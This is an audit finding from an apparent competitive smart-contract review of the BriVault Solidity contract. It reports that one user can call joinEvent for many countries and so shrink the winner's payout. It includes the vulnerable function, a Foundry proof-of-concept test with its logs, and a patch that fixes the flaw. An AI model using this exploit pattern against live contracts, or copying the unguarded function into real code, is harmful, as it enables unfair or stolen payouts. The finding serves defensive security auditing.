BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

User can JoinEvent multiple times thus reduce the winner price share

Root + Impact

Description

If the participant has malicious intent, they can BriVault::JoinEvent() with different BriVault::countryId multiple times. Though it will not guarantee them will always become the winner, it will reduce the winner share in the price reward.

// The function root cause can be found on BriVault.sol contract
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}

Risk

Likelihood:

If the praticipant has this knowledge, most likely the event will occured.

Impact:

Though it will not guarantee the participant will be the winner, but it will reduce the winner share on the reward price.

Proof of Concept

To see such scenario happen, we can put this test into BriVault.t.sol

function testUserJointEventMultipleTimes() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1Shares = briVault.deposit(5 ether, user1);
//user1 join all the country
for(uint256 i = 0; i < 48; i++){
briVault.joinEvent(i);
}
uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
uint256 user2Shares = briVault.deposit(5 ether, user2);
briVault.joinEvent(5);
uint256 balanceBeforuser2 = mockToken.balanceOf(user2);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
uint256 user3Shares = briVault.deposit(5 ether, user3);
briVault.joinEvent(30);
vm.stopPrank();
vm.startPrank(user4);
mockToken.approve(address(briVault), 5 ether);
uint256 user4Shares = briVault.deposit(5 ether, user4);
briVault.joinEvent(10);
uint256 balanceBeforuser4 = mockToken.balanceOf(user4);
vm.stopPrank();
console.log("user3 share: ", user3Shares);
console.log("user3 country ", briVault.userToCountry(user3));
console.log("user2 share: ", user2Shares);
console.log("user2 country ", briVault.userToCountry(user2));
console.log("user1 share: ", user1Shares);
console.log("user1 country ", briVault.userToCountry(user1));
console.log("user4 share: ", user4Shares);
console.log("user4 country ", briVault.userToCountry(user4));
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(5);
console.log("total price is: ", briVault.finalizedVaultAsset());
console.log("winner is: ", briVault.getWinner());
vm.stopPrank();
vm.startPrank(user1);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user2);
uint256 balanceBefore = mockToken.balanceOf(user2);
briVault.withdraw();
uint256 balanceAfter = mockToken.balanceOf(user2);
console.log("withdraw amount: ", balanceAfter - balanceBefore);
vm.stopPrank();
vm.startPrank(user3);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user4);
vm.expectRevert(abi.encodeWithSignature("didNotWin()"));
briVault.withdraw();
vm.stopPrank();
}

The log output will be

Logs:
user3 share: 4925000000000000000
user3 country Serbia
user2 share: 4925000000000000000
user2 country Ecuador
user1 share: 4925000000000000000
user1 country Iraq
user4 share: 4925000000000000000
user4 country Japan
total price is: 19700000000000000000
winner is: Ecuador
shares 4925000000000000000
vaultasset 19700000000000000000
withdraw amount: 402040816326530612

Thus we can see that the only winner is user2. And total pool prize should be 4.925 x 1e18 x 4 = 19.7 x 1e18. The whole total prize should be withdraw to user2, but instead user2 withdraw amount only 0.402 x 1e18

Recommended Mitigation

Constraint that each participant only can joint into 1 country. Inside BriVault.sol contract

/**
@dev allows users to join the event
*/
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
// add check if user already join team
+ bytes memory userCountry = bytes(userToCountry[msg.sender]);
+ if (userCountry.length > 0){
+ revert("Already join a team");
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!